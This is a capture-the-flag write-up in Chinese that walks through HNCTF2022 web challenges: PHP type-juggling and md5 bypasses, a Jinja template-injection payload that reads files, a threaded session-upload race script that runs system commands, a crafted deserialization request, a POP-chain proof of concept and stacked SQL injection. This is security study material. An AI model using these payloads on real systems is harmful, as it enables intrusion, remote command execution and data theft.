    highlight_file(__FILE__);
    include "k1y.php";
    include "fl4g.php";
    $week_1 = false;
    $week_2 = false;
    
    $getUserID = @$_GET['user']; 
    $getpass = (int)@$_GET['pass']; 
    $getmySaid = @$_GET['mySaid']; 
    $getmyHeart = @$_GET['myHeart']; 
    
    $data = @$_POST['data'];
    $verify =@$_POST['verify'];
    $want = @$_POST['want'];
    $final = @$_POST['final'];
    
    if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
        echo "Welcom T0 1he HNCTF2022
    "
    ; if("state_HNCTF2022" == 1) echo $hint; else echo "HINT? NoWay~!
    "
    ; if(is_string($getUserID)) $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r if($user == 114514 && $getpass == $pass){ if (!ctype_alpha($getmySaid)) die(); if (!is_numeric($getmyHeart)) die(); if(md5($getmySaid) != md5($getmyHeart)){ die("Cheater!"); } else $week_1 = true; } if(is_array($data)){ for($i=0;$i<count($data);$i++){ if($data[$i]==="Probius") exit(); $data[$i]=intval($data[$i]); } if(array_search("Probius",$data)===0) $week_2 = true; else die("HACK!"); } if($week_1 && $week_2){ if(md5($data)===md5($verify)) // ‮⁦HNCTF⁩⁦Welcome to if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want)) die("HACK!"); else{ echo "Fine!you win"; system("cat ./$want"); } } else die("HACK!"); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71

    扫一眼 是要我们 $week_1 $week_2 均为true会给出flag

    第一个$week_1

    // 首先第一个if  对传入的getuserid进行判断是否为字符串  肯定是字符串 
    // 那么会拼接 我们要的是$user=114514  但是拼接了怎么办? 
    // u5er_D0_n0t_b3g1n_with_4_numb3r 翻译一下 user_do_not_begin_with_4_number 
    // 我理解的大概就是 user没有以数字开头  php中 非数字开头字符串+数字字符串 = 数字字符串 测试一下
    if(is_string($getUserID))
        $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    测试 :

    
    echo "9a"+'10';  // 19
    echo "\n";
    echo "a9"+"11";  // 11 题目中属于这个情况 也就是最终的 $user = $getUserID;
    echo "\n";
    echo "9a"+'a8';  // 9
    echo "\n";
    echo "a4"+'a8';  // 0
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    那么我们知道要传入user=114514

    // 然后进入第二个if 如果 $getpass和$pass相等 那么进入判断
    // 在前面发现 $getpass = (int)@$_GET['pass'];   要转入数字  只要传入不是数字开头字符串 那$getpass一定为0  假如 $pass是字母开头 那么 就可以进入判断  我们试一下 
    if($user == 114514 && $getpass == $pass){
       //.....
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    给user传入114514 给pass传字符 mySaid 传纯字母 myHeart传纯数字

    如果返回了Cheater!说明 $pass 就是字母开头 给pass传字母来绕过,假设成立

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JNyYX98t-1667181404148)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221029164546721.png)]

    // 下面就是md5弱比较绕过  
    if (!ctype_alpha($getmySaid)) 
            die();
        if (!is_numeric($getmyHeart)) 
            die();
        // 要求$getmySaid是纯字母 $getmyHeart是数字 而且 md5两者相等 这里是 != 弱判断
        // 使用 md5 之后是0e开头就可以绕过
        //mySaid=TUFEPMC   myHeart=1586264293 
        if(md5($getmySaid) != md5($getmyHeart)){
            die("Cheater!");
        }
        else
            $week_1 = true;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    如下,我们让第一个 $week_1 = true;

    user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293
    
    • 1

    下面实现第二个

    // 这个if 首先判断传入的 data 是不是一个数组
    // 我们要先了解一下array_search的漏洞
    // array_search是查找$data数组中和Probius相等的值 返回其下标 在第三个参数不为true的时候 是 == 弱比较   也就是 0 == "admin" 成立  我们只需要构造[0]即可 或者 ['x'] 这种 以任意字母开头的字符串
    if(is_array($data)){
        for($i=0;$i<count($data);$i++){
            if($data[$i]==="Probius") exit();
            $data[$i]=intval($data[$i]);
        }
        if(array_search("Probius",$data)===0)
            $week_2 = true;
        else
            die("HACK!");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k6ojcjYC-1667181404149)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221029165914150.png)]

    这样我们就让 $week_2=true 进入下一个if

    if($week_1 && $week_2){
        //这里是md5强相等绕过 我们前面让data是一个数组  使$verify是一个数组即可 对数组计算md5值都是0
        if(md5($data)===md5($verify)){
    }
    
    • 1
    • 2
    • 3
    • 4

    进入下一个条件

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tjg8jWbq-1667181404150)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221029170113234.png)]

    这个使奇怪的编码 Unicode 在NSSCTF 有一个 CheckIn 考点就是这个

    我们在vscode打开修改就好了

    在这里插入图片描述

    U+202E=>0xE2 0x80 0xAE=>%E2%80%AE
    U+2066=>0xE2 0x81 0xA6=>%E2%81%A6
    U+2069=>0xE2 0x81 0xA9=>%E2%81%A9
    hn=hn
    %E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
    
    • 1
    • 2
    • 3
    • 4
    • 5

    试下我们思路是否正确

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PtTYVOkL-1667181404151)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221029171720094.png)]

    这样我们进入最后的if

    // 我们使用通配符试试 而且还包含了 include "k1y.php"; 试试看
    if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
        die("HACK!");
    else{
        echo "Fine!you win";
        system("cat ./$want");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    我们试试看输出 k1y.php 的内容,这也验证了推测 user和pass都是字母开头

    在这里插入图片描述

    payload

    GET:
    ?user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
    
    POST:
    data[]=0&verify[]=3&want=f*
    
    • 1
    • 2
    • 3
    • 4
    • 5

    logjjjjlogjjjj

    分析

    考点就是log4j2 没有公网IP先没写

    [WEEK3]ssssti

    分析

    长的和week2的ssti一样 但是肯定变难了(加了黑名单)

    黑名单(大概

    '
    "  
    _  
    args   -- 无法使用 request.args
    os   -- 无法导入os
    不允许post  -- 无法使用 request.value
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    看之前笔记找到了一个payload

    {{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
    
    • 1

    这个是读取根目录下的flag 根据上个ssti的题猜测flag应该还是在本目录

    然后使用request.cookies构造上述的payload就好了

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gW9vhjAh-1666973111145)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221027173941292.png)]

    payload

    ?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}
    
    
    cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag
    
    • 1
    • 2
    • 3
    • 4

    [WEEK3]QAQ_1inclu4e

    分析

    过滤了

    log
    php
    :
    flag
    .
    
    • 1
    • 2
    • 3
    • 4
    • 5

    常见的包含都没办法了

    • 伪协议
    • 日志文件

    其实感觉文件包含考点不是特别的多,除去两个差不多就是利用session.upload_progress

    推荐文章

    • https://www.freebuf.com/vuls/202819.html
    • https://blog.csdn.net/weixin_46330722/article/details/111657006

    一般session存放的常见目录

    /tmp/sess_PHPSESSID
    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
    
    • 1
    • 2
    • 3
    • 4

    上python脚本(这里先自己写了下 然后一直不成功 借鉴了其他师傅的)

    import requests
    import threading
    import io
    
    sess_id = "ybo0sing"  # sess拼接的文件名
    url = "http://43.143.7.97:28112/"  # 修改url地址
    data = {"_": "system('nl /var/ffflllaaagggflag');"}  # 执行的命令
    filename = "ybo0sing.txt"  # 上传的文件名  要上传文件 它会携带者PHP_SESSION_UPLOAD_PROGRESS发送   而且会存储到sess_id文件里面
    parameter = "QAQ"  # 参数名称
    catalogue = "/tmp"  # 存放session文件的目录
    
    def write(session):
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)
            data = {"PHP_SESSION_UPLOAD_PROGRESS": f"{sess_id}{sess_id}"}
            cookies = {"PHPSESSID": sess_id}
            files = {"file": (filename, f)}
            session.post(url=url, data=data, cookies=cookies, files=files)
    
    
    def read(session):
        while True:
            resp = session.post(url=f"{url}?{parameter}={catalogue}/sess_{sess_id}", data=data)
            if filename in resp.text:
                print(resp.text)
                event.clear()
    
    
    if __name__ == '__main__':
        event = threading.Event()
        with requests.session() as session:
            for i in range(1, 30):
                threading.Thread(target=write, args=(session,)).start()
            for i in range(1, 30):
                threading.Thread(target=read, args=(session,)).start()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    执行命令

    根目录下

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bM1hpMxu-1667349358755)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101001303863.png)]

    根目录没有flag 那么一般也就是在 env 这里是不在的 一个一个找!! (暴打出题人)最后在var找到

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ekLaFzv4-1667349358756)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101001452398.png)]

    查找flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yqJbpBze-1667349358757)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101001550185.png)]

    payload

    import requests
    import threading
    import io
    
    sess_id = "ybo0sing"  # sess拼接的文件名
    url = "http://43.143.7.97:28112/"  # 修改url地址
    data = {"_": "system('nl /var/ffflllaaagggflag');"}  # 执行的命令
    filename = "ybo0sing.txt"  # 上传的文件名  要上传文件 它会携带者PHP_SESSION_UPLOAD_PROGRESS发送   而且会存储到sess_id文件里面
    parameter = "QAQ"  # 参数名称
    catalogue = "/tmp"  # 存放session文件的目录
    
    def write(session):
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)
            data = {"PHP_SESSION_UPLOAD_PROGRESS": f"{sess_id}{sess_id}"}
            cookies = {"PHPSESSID": sess_id}
            files = {"file": (filename, f)}
            session.post(url=url, data=data, cookies=cookies, files=files)
    
    
    def read(session):
        while True:
            resp = session.post(url=f"{url}?{parameter}={catalogue}/sess_{sess_id}", data=data)
            if filename in resp.text:
                print(resp.text)
                event.clear()
    
    
    if __name__ == '__main__':
        event = threading.Event()
        with requests.session() as session:
            for i in range(1, 30):
                threading.Thread(target=write, args=(session,)).start()
            for i in range(1, 30):
                threading.Thread(target=read, args=(session,)).start()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35

    [WEEK4]unf1ni3hed_web3he1–session反序列化

    考点:session.upload_progress反序列化+条件竞争

    分析

    打开题目 让我们传参试试

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KFGer9jD-1667349468804)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101001903564.png)]

    点击跳转b站视频 Never Gonna Give You Up!!!!!,而且给出提示,捕获它!也就是拦截跳转

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-68ykeQh3-1667349468804)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101001945499.png)]

    捕获之后 给说提示 一个php网站

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oVQQ6Vzy-1667349468805)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101002311501.png)]

    访问试试看是什么,y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!大致意思就是 你可能需要给我们一些t00llll 没看wp之前没考虑到下一个页面 t00llll.php

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JzhnByAj-1667349468805)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101002405713.png)]

    这里给说的提示是看看 t00llll.php 访问给出源码

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DO4DqxQB-1667349468805)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101002615319.png)]

    还是文件包含,但是无法读取flag 也无法包含日志

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4LVZt9xS-1667349468806)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101002835321.png)]

    试试伪协议读取一下Rea1web3he11.php

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WC7Wc8fd-1667349468806)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101180848362.png)]

    base64解码

    好像是反序列化 但是怎么没有unserialize函数?也没办法phar利用?

     
    error_reporting(0);
    ini_set('session.serialize_handler', 'php'); // 使用的是php 会将|后面序列化 我们使用php_serialize构造exp
    session_start();
    echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."
    "
    ; class webshell{ public $caution; public $execution; function __construct(){ $this -> caution = new caution(); } function __destruct(){ $this -> caution -> world_execute(); } function exec(){ @eval($execution); } } class caution{ function world_execute(){ echo "Webshell初&#%始*$%&^化,$))(&*(%#^**ERROR**#@$()"."
    "
    ; } } class execution{ public $cmd; function __construct(){ $this -> cmd = 'echo "即将执行命令:".$cmd;'; } function world_execute(){ eval($this -> cmd); } } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    考点肯定是利用xxx构成反序列化 看到源码ini_set('session.serialize_handler', 'php');有点可以搜搜看 发现是利用 php_session反序列化

    构造POST提交表单

    <form action="http://43.142.108.3:28132/Rea1web3he11.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="yb0osing" />
        <input type="file" name="file" />
        <input type="submit" />
    form>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    构造poc

    
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    
    class webshell{
        public $caution;
        public $execution;
    
        function __construct(){
            $this -> caution = new execution();
        }
        
    }
    class execution{
        public $cmd;
        function __construct(){
            $this -> cmd = 'phpinfo();';
        }
    }
    echo serialize(new webshell());
    //O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:10:"phpinfo();";}s:9:"execution";N;}
    //对exp进行修改
    // |O:8:\"webshell\":2:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:10:\"phpinfo();\";}s:9:\"execution\";N;}
    
    //|O:8:\"webshell\":2:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:26:\"system('find / -name f*');\";}s:9:\"execution\";N;}
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    在构造的表单中提交任意文件,并且使用burp抓捕,修改filename为exp

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2OsOIUvI-1667349468807)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101200432607.png)]

    然后使用一直发包(在上传结束后,session文件中有关上传进度的信息会立马被删除,删除上床的文件名和PHP_SESSION_UPLOAD_PROGRESS),执行成功

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NGOZZuno-1667349468807)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101200800083.png)]

    执行其他命令 找flag

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QCb64dM4-1667349468807)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101201417433.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mMoJNTSR-1667349468808)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101201641065.png)]

    payload

    POST /Rea1web3he11.php HTTP/1.1
    Host: 43.142.108.3:28132
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/sess_unser.html
    Cookie: PHPSESSID=2arnidrh9e6im96a4odai5rldk
    Connection: close
    Content-Type: multipart/form-data; boundary=---------------------------135602342921711
    Content-Length: 1250
    
    -----------------------------135602342921711
    Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
    
    yb0osing
    -----------------------------135602342921711
    Content-Disposition: form-data; name="file"; filename="|O:8:\"webshell\":2:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:27:\"system('cat /secret/flag');\";}s:9:\"execution\";N;}"
    Content-Type: text/x-python
    
      _     ______      _                              _       _ _ 
     | |   |  ____|    (_)                            | |     (_) |
     | |__ | |__   __ _ _ _ __  _ __   ___ _ __       | | __ _ _| |
     | '_ \|  __| / _` | | '_ \| '_ \ / _ \ '__|  _   | |/ _` | | |
     | |_) | |___| (_| | | | | | | | |  __/ |    | |__| | (_| | | |
     |_.__/|______\__, |_|_| |_|_| |_|\___|_|     \____/ \__,_|_|_|
                   __/ |                                           
                  |___/                                            
    
    -----------------------------135602342921711--
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    [WEEK4]pop子和pipi美 – 反序列化

    分析

    就是没找到怎么看源码 师傅操作把我看待啦qwq

    打开题目,这是两处hint 我们去搜下这个番,ep就是番剧的ep号

    在这里插入图片描述

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0McKvnqj-1667349591147)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101202653327.png)]

    去b站搜搜 第一集的ep号

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s5MXBfL2-1667349591147)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221101202952856.png)]

    那么输入以下看看,输出了源码 太烧脑啦!!!

    
    error_reporting(0);
    //flag is in f14g.php
    class Popuko {
        private $No_893;
        public function POP_TEAM_EPIC(){
            $WEBSITE  = "MANGA LIFE WIN";
        }
        // 1、__invoke 当以函数的方式调用对象实例的时候触发
        // $this->No_893 = php://filter/read/convert.base64-encode/resource=f14g.php
        public function __invoke(){
            $this->append($this->No_893);
        }
        public function append($anti_takeshobo){
            // 终点
            include($anti_takeshobo);
        }
    }
    
    class Pipimi{
        
        public $pipi;
        public function PIPIPMI(){
            $h = "超喜欢POP子ww,你也一样对吧(举刀)";
        }
        public function __construct(){
            echo "Pipi美永远不会生气ww";
            $this->pipi = array();
        }
    	// 2.此处当作函数执行 也就是 $this->p=new Popuko();
        // __get 当访问不可访问或者不存在的属性是触发
        public function __get($corepop){
            $function = $this->p;
            return $function();
        }
    }
    class Goodsisters{
    
        public function PopukoPipimi(){
            $is = "Good sisters";
        }
    
        public $kiminonawa,$str;
    
        public function __construct($file='index.php'){
            $this->kiminonawa = $file;
            echo 'Welcome to HNCTF2022 ,';
            echo 'This is '.$this->kiminonawa."
    "
    ; } // 3.此处当作访问不存在的属性(Pipimi类的) 也就是 $this->str=new Pipimi(); // __toString 以字符串方式调用对象实例触发 public function __toString(){ return $this->str->kiminonawa; } // 4.此处$this->kiminonawa触发 $this->kiminonawa=new Goodsisters(); public function __wakeup(){ if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) { echo "仲良ピース!"; $this->kiminonawa = "index.php"; } } } if(isset($_GET['pop'])) @unserialize($_GET['pop']); else{ $a=new Goodsisters; if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){ highlight_file(__FILE__); echo '欸嘿,你也喜欢pop子~对吧ww'; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73

    POC

    
    //flag is in f14g.php
    class Popuko {
        private $No_893;
        public function __construct(){
            $this->No_893 ="php://filter/read/convert.base64-encode/resource=f14g.php";
        }
    }
    
    class Pipimi{
        public $pipi;
    }
    class Goodsisters{
        public $kiminonawa,$str;
    }
    $a= new Goodsisters();
    $b = new Pipimi();
    $c = new Popuko();
    $a->kiminonawa = $a;
    $a->str=$b;
    $b->p=$c;
    echo(urlencode(serialize($a)));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w2GCuked-1667349591147)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102082931528.png)]

    payload

    class Popuko {
        private $No_893;
        public function __construct(){
            $this->No_893 ="php://filter/read/convert.base64-encode/resource=f14g.php";
        }
    }
    
    class Pipimi{
        public $pipi;
    }
    class Goodsisters{
        public $kiminonawa,$str;
    }
    $a= new Goodsisters();
    $b = new Pipimi();
    $c = new Popuko();
    $a->kiminonawa = $a;
    $a->str=$b;
    $b->p=$c;
    echo(urlencode(serialize($a)));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    [WEEK4]fun_sql

    考点就是堆叠注入 其实挺简单的
    做的时候不知道脑子是不是抽筋了 我插入数据忘记查询了 不会犯这种错误咯!!!

    分析

    打开题目就是源码

    
    include "mysql.php";
    include "flag.php";
    
    if ( $_GET['uname'] != '' && isset($_GET['uname'])) {
    
        $uname=$_GET['uname'];
    	//黑名单 发现没有过滤; insert into  order by
        if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
            die('hacker');
            
        }
        
        $sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
        echo "$sql
    "
    ; // mysqli_multi_query就是堆叠注入标志 可以执行多条sql语句 mysqli_multi_query($db, $sql); $result = mysqli_store_result($db); $row = mysqli_fetch_row($result); echo "
    "
    ; echo "
    "
    ; if (!$row) { die("something wrong"); } else { print_r($row); echo $row['uname']."
    "
    ; } // 如果输入的名字在被查询到可以返回flag if ($row[1] === $uname) { die($flag); } } highlight_file(__FILE__);
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    我们目的就是返回flag,要求输入的uname 和 sql语句查询的uname 相等 那么我们思路就是插入一个uname 然后再查询

    首先 看看本表多少列,4报错 3 正常所以3列

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fHQodSgI-1667181712556)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221031095029792.png)]

    我们拆入数据 正常来讲有uname的一般表中列的顺序一般就是 id-uname-passwd

    uname一般放到第二个 我们试试

    在这里插入图片描述

    但是其实也可以三列插入一样的值 这样也不需要猜东西啦

    在这里插入图片描述

    payload

    ?uname=1';insert into ccctttfff value(55,55,55);--+
    ?uname=55
    
    或者
    
    ?uname=1';insert into ccctttfff value(1,'name',3);--+
    ?uname=name
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
  • 相关阅读:
    敏捷开发模型:一种灵活、协作和持续的软件开发方法
    Pytorch创建张量
    大数据开发和软件开发哪个前景好?
    istio sidecar 工作方式
    【scikit-learn基础】--『预处理』之 正则化
    Python实验三:Python程序设计之组合数据类型
    采用一种估值方法,自动化评估某个股票价格合理性
    形态学操作—膨胀
    英文论文怎么构思
    Python小练习四
  • 原文地址:https://blog.csdn.net/bossDDYY/article/details/127581507